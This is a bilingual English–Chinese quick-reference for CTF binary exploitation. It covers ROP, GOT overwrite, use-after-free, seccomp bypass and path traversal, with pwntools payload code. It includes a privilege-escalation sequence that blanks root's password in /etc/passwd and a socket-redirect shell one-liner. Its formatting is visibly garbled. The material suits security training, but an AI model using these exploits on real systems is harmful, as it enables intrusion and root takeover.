ctf-pwn
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCTF Binary Exploitation (Pwn)
CTF二进制漏洞利用(Pwn)
Quick reference for pwn challenges. For detailed techniques, see supporting files.
Pwn挑战赛快速参考手册,详细技术请查看配套文件。
Additional Resources
额外资源
- format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
- advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)
- format-string.md - 格式化字符串漏洞利用(信息泄露、GOT覆盖、盲Pwn、绕过过滤)
- advanced.md - 高级技术(堆漏洞、JIT、特殊GOT、自定义分配器、DNS溢出)
Source Code Red Flags
源代码危险信号
- Threading/→ race conditions
pthread - /
usleep()→ timing windowssleep() - Global variables in multiple threads → TOCTOU
- 多线程/→ 竞争条件
pthread - /
usleep()→ 时间窗口漏洞sleep() - 多线程中的全局变量 → TOCTOU(检查时间与使用时间不一致)
Race Condition Exploitation
竞争条件漏洞利用
bash
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'bash
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'Common Vulnerabilities
常见漏洞类型
- Buffer overflow: ,
gets(),scanf("%s")strcpy() - Format string:
printf(user_input) - Integer overflow, UAF, race conditions
- 缓冲区溢出:,
gets(),scanf("%s")strcpy() - 格式化字符串:
printf(user_input) - 整数溢出、UAF(释放后使用)、竞争条件
Kernel Exploitation
内核漏洞利用
- Look for vulnerable handlers allowing OOB read/write
lseek - Heap grooming with forked processes
- SUID binary exploitation via kernel-to-userland buffer overflow
- Check kernel config for disabled protections:
- → sequential heap chunks
CONFIG_SLAB_FREELIST_RANDOM=n - → predictable allocations
CONFIG_SLAB_MERGE_DEFAULT=n
- 寻找存在越界读写风险的处理器
lseek - 通过fork进程进行堆布局调整
- 利用内核到用户态的缓冲区溢出来提权SUID二进制文件
- 检查内核配置中是否禁用了防护机制:
- → 堆块分配顺序可预测
CONFIG_SLAB_FREELIST_RANDOM=n - → 分配地址可预测
CONFIG_SLAB_MERGE_DEFAULT=n
FUSE/CUSE Character Device Exploitation
FUSE/CUSE字符设备漏洞利用
FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)
Identification:
- Look for or
cuse_lowlevel_main()callsfuse_main() - Device operations struct with ,
open,readhandlerswrite - Device name registered via or similar
DEVNAME=backdoor
Common vulnerability patterns:
c
// Backdoor pattern: write handler with command parsing
void backdoor_write(const char *input, size_t len) {
char *cmd = strtok(input, ":");
char *file = strtok(NULL, ":");
char *mode = strtok(NULL, ":");
if (!strcmp(cmd, "b4ckd00r")) {
chmod(file, atoi(mode)); // Arbitrary chmod!
}
}Exploitation:
bash
undefinedFUSE(用户态文件系统) / CUSE(用户态字符设备)
识别方法:
- 查找或
cuse_lowlevel_main()调用fuse_main() - 包含、
open、read处理器的设备操作结构体write - 通过或类似方式注册的设备名称
DEVNAME=backdoor
常见漏洞模式:
c
// 后门模式:带命令解析的write处理器
void backdoor_write(const char *input, size_t len) {
char *cmd = strtok(input, ":");
char *file = strtok(NULL, ":");
char *mode = strtok(NULL, ":");
if (!strcmp(cmd, "b4ckd00r")) {
chmod(file, atoi(mode)); // 任意修改文件权限!
}
}利用方法:
bash
undefinedChange /etc/passwd permissions via custom device
通过自定义设备修改/etc/passwd权限
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
511 decimal = 0777 octal (rwx for all)
511十进制 = 0777八进制(所有用户可读可写可执行)
Now modify passwd to get root
现在修改passwd获取root权限
echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
su root
**Privilege escalation via passwd modification:**
1. Make `/etc/passwd` writable via the backdoor
2. Replace root line with `root::0:0:root:/root:/bin/sh` (no password)
3. `su root` without password promptecho "root::0:0:root:/root:/bin/sh" > /etc/passwd
su root
**通过修改passwd提权步骤:**
1. 通过后门让`/etc/passwd`变为可写
2. 将root行替换为`root::0:0:root:/root:/bin/sh`(无密码)
3. 无需密码即可通过`su root`切换到root用户Busybox/Restricted Shell Escalation
Busybox/受限Shell提权
When in restricted environment without sudo:
- Find writable paths via character devices
- Target system files: ,
/etc/passwd,/etc/shadow/etc/sudoers - Modify permissions then content to gain root
处于无sudo权限的受限环境时:
- 通过字符设备找到可写路径
- 瞄准系统文件:、
/etc/passwd、/etc/shadow/etc/sudoers - 修改权限后再修改内容以获取root权限
Protection Implications for Exploit Strategy
防护机制对漏洞利用策略的影响
| Protection | Status | Implication |
|---|---|---|
| PIE | Disabled | All addresses (GOT, PLT, functions) are fixed - direct overwrites work |
| RELRO | Partial | GOT is writable - GOT overwrite attacks possible |
| RELRO | Full | GOT is read-only - need alternative targets (hooks, vtables, return addr) |
| NX | Enabled | Can't execute shellcode on stack/heap - use ROP or ret2win |
| Canary | Present | Stack smash detected - need leak or avoid stack overflow (use heap) |
Quick decision tree:
- Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
- Full RELRO → target ,
__free_hook(glibc < 2.34), or return addresses__malloc_hook - Stack canary present → prefer heap-based attacks or leak canary first
| 防护机制 | 状态 | 影响 |
|---|---|---|
| PIE | 禁用 | 所有地址(GOT、PLT、函数)固定,可直接覆盖 |
| RELRO | 部分启用 | GOT可写,可进行GOT覆盖攻击 |
| RELRO | 完全启用 | GOT只读,需要寻找替代目标(钩子、虚函数表、返回地址) |
| NX | 启用 | 无法在栈/堆上执行shellcode,需使用ROP或ret2win |
| 栈金丝雀 | 存在 | 可检测栈溢出,需先泄露金丝雀或避免栈溢出(使用堆漏洞) |
快速决策树:
- 部分RELRO + 无PIE → GOT覆盖(最简单,使用固定地址)
- 完全RELRO → 瞄准、
__free_hook(glibc < 2.34)或返回地址__malloc_hook - 存在栈金丝雀 → 优先使用堆基攻击或先泄露金丝雀
Stack Buffer Overflow
栈缓冲区溢出
- Find offset to return address: then
cyclic 200cyclic -l <value> - Check protections:
checksec --file=binary - No PIE + No canary = direct ROP
- Canary leak via format string or partial overwrite
- 找到返回地址的偏移:后使用
cyclic 200计算cyclic -l <value> - 检查防护机制:
checksec --file=binary - 无PIE + 无金丝雀 = 直接ROP
- 通过格式化字符串或部分覆盖泄露金丝雀
ret2win with Parameter (Magic Value Check)
带参数检查的ret2win(魔法值验证)
Pattern: Win function checks argument against magic value before printing flag.
c
// Common pattern in disassembly
void win(long arg) {
if (arg == 0x1337c0decafebeef) { // Magic check
// Open and print flag
}
}Exploitation (x86-64):
python
from pwn import *模式: Win函数在打印flag前会检查参数是否匹配魔法值。
c
// 反汇编中常见的模式
void win(long arg) {
if (arg == 0x1337c0decafebeef) { // 魔法值检查
// 打开并打印flag
}
}利用方法(x86-64架构):
python
from pwn import *Find gadgets
查找gadget
pop_rdi_ret = 0x40150b # pop rdi; ret
ret = 0x40101a # ret (for stack alignment)
win_func = 0x4013ac
magic = 0x1337c0decafebeef
offset = 112 + 8 # = 120 bytes to reach return address
payload = b"A" * offset
payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte)
payload += p64(pop_rdi_ret)
payload += p64(magic)
payload += p64(win_func)
**Finding the win function:**
- Search for `fopen("flag.txt")` or similar in Ghidra
- Look for functions with no XREF that check a magic parameter
- Check for conditional print/exit patterns after parameter comparisonpop_rdi_ret = 0x40150b # pop rdi; ret
ret = 0x40101a # ret(用于栈对齐)
win_func = 0x4013ac
magic = 0x1337c0decafebeef
offset = 112 + 8 # = 120字节以到达返回地址
payload = b"A" * offset
payload += p64(ret) # 栈对齐(Ubuntu/glibc要求16字节对齐)
payload += p64(pop_rdi_ret)
payload += p64(magic)
payload += p64(win_func)
**寻找win函数:**
- 在Ghidra中搜索`fopen("flag.txt")`或类似调用
- 寻找无交叉引用且检查魔法参数的函数
- 查找参数比较后有条件打印/退出的模式Stack Alignment (16-byte Requirement)
栈对齐(16字节要求)
Modern Ubuntu/glibc requires 16-byte stack alignment before instructions. Symptoms of misalignment:
call- SIGSEGV in instruction (SSE requires alignment)
movaps - Crash inside libc functions (printf, system, etc.)
Fix: Add extra gadget before your ROP chain:
retpython
payload = b"A" * offset
payload += p64(ret) # Align stack to 16 bytes
payload += p64(pop_rdi_ret)现代Ubuntu/glibc要求在指令前栈必须16字节对齐。对齐错误的症状:
call- 指令触发SIGSEGV(SSE要求对齐)
movaps - 在libc函数(如printf、system等)内部崩溃
修复方法: 在ROP链前添加额外的 gadget:
retpython
payload = b"A" * offset
payload += p64(ret) # 将栈对齐到16字节
payload += p64(pop_rdi_ret)... rest of chain
... 剩余ROP链
undefinedundefinedOffset Calculation from Disassembly
从反汇编计算偏移
asm
push %rbp
mov %rsp,%rbp
sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes
...
lea -0x70(%rbp),%rax ; Buffer at rbp-0x70
mov $0xf0,%edx ; read() size = 240 (overflow!)Calculate offset:
- Buffer starts at (e.g., rbp-0x70)
rbp - buffer_offset - Saved RBP is at (0 offset from buffer end)
rbp - Return address is at
rbp + 8 - Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes
asm
push %rbp
mov %rsp,%rbp
sub $0x70,%rsp ; 栈帧大小 = 0x70(112)字节
...
lea -0x70(%rbp),%rax ; 缓冲区位于rbp-0x70
mov $0xf0,%edx ; read()读取大小 = 240(存在溢出!)计算偏移:
- 缓冲区起始于(例如rbp-0x70)
rbp - buffer_offset - 保存的RBP位于(缓冲区末尾偏移0)
rbp - 返回地址位于
rbp + 8 - 总偏移 = buffer_offset + 8 = 112 + 8 = 120字节
Input Filtering (memmem checks)
输入过滤(memmem检查)
Some challenges filter input using to block certain strings:
memmem()python
payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload部分挑战赛会使用过滤输入,阻止特定字符串:
memmem()python
payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payloadFinding Gadgets
寻找Gadget
bash
undefinedbash
undefinedFind pop rdi; ret
查找pop rdi; ret
objdump -d binary | grep -B1 "pop.*rdi"
ROPgadget --binary binary | grep "pop rdi"
objdump -d binary | grep -B1 "pop.*rdi"
ROPgadget --binary binary | grep "pop rdi"
Find simple ret (for alignment)
查找简单的ret(用于对齐)
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
undefinedobjdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
undefinedStruct Pointer Overwrite (Heap Menu Challenges)
结构体指针覆盖(堆菜单挑战赛)
Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
Struct layout example:
c
struct Student {
char name[36]; // offset 0x00 - data buffer
int *grade_ptr; // offset 0x24 - pointer to separate allocation
float gpa; // offset 0x28
}; // total: 0x2c (44 bytes)Exploitation:
python
from pwn import *
WIN = 0x08049316
GOT_TARGET = 0x0804c00c # printf@GOT模式: 基于菜单的程序,对包含数据缓冲区和指针的结构体执行创建/修改/删除/查看操作。修改/编辑函数读取的字节数超过数据缓冲区大小,溢出到相邻的指针字段。
结构体布局示例:
c
struct Student {
char name[36]; // 偏移0x00 - 数据缓冲区
int *grade_ptr; // 偏移0x24 - 指向独立分配内存的指针
float gpa; // 偏移0x28
}; // 总大小: 0x2c(44字节)利用方法:
python
from pwn import *
WIN = 0x08049316
GOT_TARGET = 0x0804c00c # printf@GOT1. Create object (allocates struct + sub-allocations)
1. 创建对象(分配结构体及子分配内存)
create_student("AAAA", 5, 3.5)
create_student("AAAA", 5, 3.5)
2. Modify name - overflow into pointer field with GOT address
2. 修改name字段 - 溢出到指针字段,写入GOT地址
payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr
modify_name(0, payload)
payload = b'A' * 36 + p32(GOT_TARGET) # 36字节填充 + GOT地址
modify_name(0, payload)
3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
3. 修改grade - scanf("%d", corrupted_ptr)写入GOT
modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry
modify_grade(0, str(WIN)) # 将win地址以整数形式写入GOT条目
4. Trigger overwritten function -> jumps to win
4. 触发被覆盖的函数 → 跳转到win
**GOT target selection strategy:**
- Identify which libc functions the `win` function calls internally
- Do NOT overwrite GOT entries for functions used by `win` (causes infinite recursion/crash)
- Prefer functions called in the main loop AFTER the write
| Win uses | Safe GOT targets |
|----------|-------------------|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| system only | puts, printf, exit |
**GOT目标选择策略:**
- 识别win函数内部调用的libc函数
- 不要覆盖win函数使用的GOT条目(会导致无限递归/崩溃)
- 优先选择写入操作后在主循环中调用的函数
| Win函数使用 | 安全的GOT目标 |
|----------|-------------------|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| 仅system | puts, printf, exit |ROP Chain Building
ROP链构建
python
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)python
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)Common gadgets
常用gadget
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
Leak libc
泄露libc地址
payload = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
undefinedpayload = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
undefinedPwntools Template
Pwntools模板
python
from pwn import *
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
def conn():
if args.REMOTE:
return remote('host', port)
return process('./binary')
io = conn()python
from pwn import *
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
def conn():
if args.REMOTE:
return remote('host', port)
return process('./binary')
io = conn()exploit here
漏洞利用代码
io.interactive()
undefinedio.interactive()
undefinedUseful Commands
实用命令
bash
one_gadget libc.so.6 # Find one-shot gadgets
ropper -f binary # Find ROP gadgets
ROPgadget --binary binary # Alternative gadget finder
seccomp-tools dump ./binary # Check seccomp rulesbash
one_gadget libc.so.6 # 查找one-shot gadget
ropper -f binary # 查找ROP gadget
ROPgadget --binary binary # 另一个gadget查找工具
seccomp-tools dump ./binary # 检查seccomp规则Use-After-Free (UAF) Exploitation
释放后使用(UAF)漏洞利用
Pattern: Menu-based programs with create/delete/view operations where doesn't NULL the pointer.
free()Classic UAF flow:
- Create object A (allocates chunk with function pointer)
- Leak address via inspect/view (bypass PIE)
- Free object A (creates dangling pointer)
- Allocate object B of same size (reuses freed chunk via tcache)
- Object B data overwrites A's function pointer with address
win() - Trigger A's callback → jumps to
win()
Key insight: Both structs must be the same size for tcache to reuse the chunk.
python
undefined模式: 基于菜单的程序,执行创建/删除/查看操作时未将指针置空。
free()经典UAF利用流程:
- 创建对象A(分配包含函数指针的chunk)
- 通过查看/检查功能泄露地址(绕过PIE)
- 释放对象A(产生悬空指针)
- 分配相同大小的对象B(通过tcache重用已释放的chunk)
- 对象B的数据将A的函数指针覆盖为地址
win() - 触发A的回调函数 → 跳转到
win()
关键要点: 两个结构体必须大小相同,tcache才会重用该chunk。
python
undefinedUAP Watch pattern
UAP监控模式
create_report("sighting-0") # 64-byte struct with callback ptr at +56
leak = inspect_report(0) # Leak callback address for PIE bypass
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset
delete_report(0) # Free chunk, dangling pointer remains
create_report("sighting-0") # 64字节结构体,回调指针位于+56偏移
leak = inspect_report(0) # 泄露回调地址以绕过PIE
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset
delete_report(0) # 释放chunk,悬空指针保留
Allocate same-size struct, overwriting callback
分配相同大小的结构体,覆盖回调指针
create_signal(b"A"*56 + p64(win_addr))
analyze_report(0) # Calls dangling pointer → win()
undefinedcreate_signal(b"A"*56 + p64(win_addr))
analyze_report(0) # 调用悬空指针 → win()
undefinedSeccomp Bypass
Seccomp绕过
Alternative syscalls when seccomp blocks /:
open()read()- (257),
openat()(437, often missed!),openat2()(40),sendfile()/readv()writev()
Check rules:
seccomp-tools dump ./binarySee advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, struct layout.
scmp_arg_cmp当seccomp阻止/时的替代系统调用:
open()read()- (257)、
openat()(437,常被忽略!)、openat2()(40)、sendfile()/readv()writev()
检查规则:
seccomp-tools dump ./binary查看advanced.md获取更多内容:条件缓冲区地址限制、无重定位的shellcode构造(call/pop技巧)、从反汇编分析seccomp、结构体布局。
scmp_arg_cmpStack Shellcode with Input Reversal
带输入反转的栈Shellcode
Pattern (Scarecode): Binary reverses input buffer before returning.
Strategy:
- Leak address via info-leak command (bypass PIE)
- Find gadget
sub rsp, 0x10; jmp *%rsp - Pre-reverse shellcode and RIP overwrite bytes
- Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
- Place trampoline () to hop back into NOP sled + shellcode
jmp short
Null-byte avoidance with :
scanf("%s")- Can't embed in payload
\x00 - Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
- Use short jumps and NOP sleds instead of multi-address ROP chains
模式(Scarecode): 二进制文件在返回前会反转输入缓冲区。
策略:
- 通过信息泄露命令泄露地址(绕过PIE)
- 查找gadget
sub rsp, 0x10; jmp *%rsp - 预先反转shellcode和RIP覆盖字节
- 使用6字节RIP部分覆盖(避免规范地址中的空字节)
- 放置跳板()跳回NOP滑条+shellcode
jmp short
使用时避免空字节:
scanf("%s")- 不能在payload中嵌入
\x00 - 使用部分指针覆盖(6字节)—— 高2字节因映射相同而匹配
- 使用短跳转和NOP滑条替代多地址ROP链
Path Traversal Sanitizer Bypass
路径遍历 sanitizer 绕过
Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
python
undefined模式(银河档案): Sanitizer在发现禁用字符后会跳过下一个字符。
python
undefinedSanitizer removes '.' and '/' but skips next char after match
Sanitizer会移除'.'和'/',但匹配后会跳过下一个字符
../../etc/passwd → bypass with doubled chars:
../../etc/passwd → 使用重复字符绕过:
"....//....//etc//passwd"
"....//....//etc//passwd"
Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)
每个'..'变为'....'(第一个'.'被拦截,第二个被跳过,第三个被拦截,第四个保留)
**Flag via `/proc/self/fd/N`:**
- If binary opens flag file but doesn't close fd, read via `/proc/self/fd/3`
- fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
**通过`/proc/self/fd/N`获取flag:**
- 如果二进制文件打开flag文件但未关闭fd,可通过`/proc/self/fd/3`读取
- fd 0=标准输入,1=标准输出,2=标准错误,3=第一个打开的文件Global Buffer Overflow (CSV Injection)
全局缓冲区溢出(CSV注入)
Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
- Identify global array adjacent to filename pointer in memory
- Overflow array bounds by injecting extra delimiters (commas in CSV)
- Overflowed pointer lands on filename variable
- Change filename to , then trigger read operation
flag.txt
python
undefined模式(电子表格): 相邻全局变量可通过溢出被利用。
利用方法:
- 识别内存中与文件名指针相邻的全局数组
- 通过注入额外分隔符(CSV中的逗号)溢出数组边界
- 溢出的指针覆盖文件名变量
- 将文件名改为,然后触发读取操作
flag.txt
python
undefinedEdit last cell with comma-separated overflow
用逗号分隔的溢出内容编辑最后一个单元格
edit_cell("J10", "whatever,flag.txt")
save() # CSV row now has 11 columns
load() # Column 11 overwrites savefile pointer with ptr to "flag.txt"
load() # Now reads flag.txt into spreadsheet
print_spreadsheet() # Shows flag
undefinededit_cell("J10", "whatever,flag.txt")
save() # CSV行现在有11列
load() # 第11列覆盖保存文件指针为指向"flag.txt"的指针
load() # 现在读取flag.txt到电子表格
print_spreadsheet() # 显示flag
undefinedShell Tricks
Shell技巧
File descriptor redirection (no reverse shell needed):
bash
undefined文件描述符重定向(无需反向Shell):
bash
undefinedRedirect stdin/stdout to client socket (fd 3 common for network)
将标准输入/输出重定向到客户端套接字(fd 3常见于网络连接)
exec <&3; sh >&3 2>&3
exec <&3; sh >&3 2>&3
Or as single command string
或作为单个命令字符串
exec<&3;sh>&3
- Network servers often have client connection on fd 3
- Avoids firewall issues with outbound connections
- Works when you have command exec but limited chars
**Find correct fd:**
```bash
ls -la /proc/self/fd # List open file descriptorsShort shellcode alternatives:
- - minimal shell redirect
sh<&3 >&3 - Use instead of
$0in some shellssh
exec<&3;sh>&3
- 网络服务器通常将客户端连接放在fd 3
- 避免出站连接的防火墙问题
- 在具有命令执行权限但字符受限的场景中有效
**查找正确的fd:**
```bash
ls -la /proc/self/fd # 列出打开的文件描述符简化版shellcode替代方案:
- - 最小化Shell重定向
sh<&3 >&3 - 在部分Shell中使用替代
$0sh